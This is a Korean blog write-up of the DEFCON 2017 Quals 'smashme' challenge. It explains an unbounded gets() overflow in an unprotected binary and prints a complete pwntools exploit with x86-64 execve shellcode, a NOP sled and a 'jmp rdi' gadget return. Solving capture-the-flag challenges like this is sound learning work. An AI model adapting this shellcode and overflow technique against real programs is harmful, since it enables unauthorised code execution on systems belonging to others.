Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

DEFCON 2017 Quals smashme 본문

Security/Pwnable

DEFCON 2017 Quals smashme

Cdor1 2017. 5. 11. 03:57

간단한 rop? 

가젯을 하나 이용한다.

프로그램을 실행하면 gets로 길이제한없이 입력을 받는데 

이 프로그램은 아무런 보호기법이 적용되어있지 않다.

sub_400320부분에서 내가 입력한 값에 "Smash me outside, how bout dAAAAAAAAAAA"가 들어가는지 판단한다.

그래서 64bit calling convention대로 저 문자열은 esi에 넣고

나의 input은

lea     rax, [rbp+var_40]

mov     rdi, rax

를 거쳐 rdi레지스터에 저장된다.


문제도 매우 심플하고 간단해서 혹시 jmp rdi 가젯이 있을까 생각해 찾아보았는데

히히


nop + shellcode + 문자열 + jmp rdi 해주면 된다


from pwn import *
s = process('./smashme')
shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = "\x90"*6
payload += shell
payload += "Smash me outside, how bout dAAAAAAAAAAA"
payload += p64(0x4c4e1b)

print len(payload)
print s.recvline()
raw_input()
s.sendline(payload)
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

DEFCON 2017 Quals beatmeonthedl  (3) 2017.05.12
NOE systems double_input.c  (0) 2017.05.11
NOE systems pwnable BURYBURY.c  (0) 2017.05.11
NOE systems pwnable card.c  (0) 2017.05.11
TAMUCTF All Pwnable  (0) 2017.04.20
Comments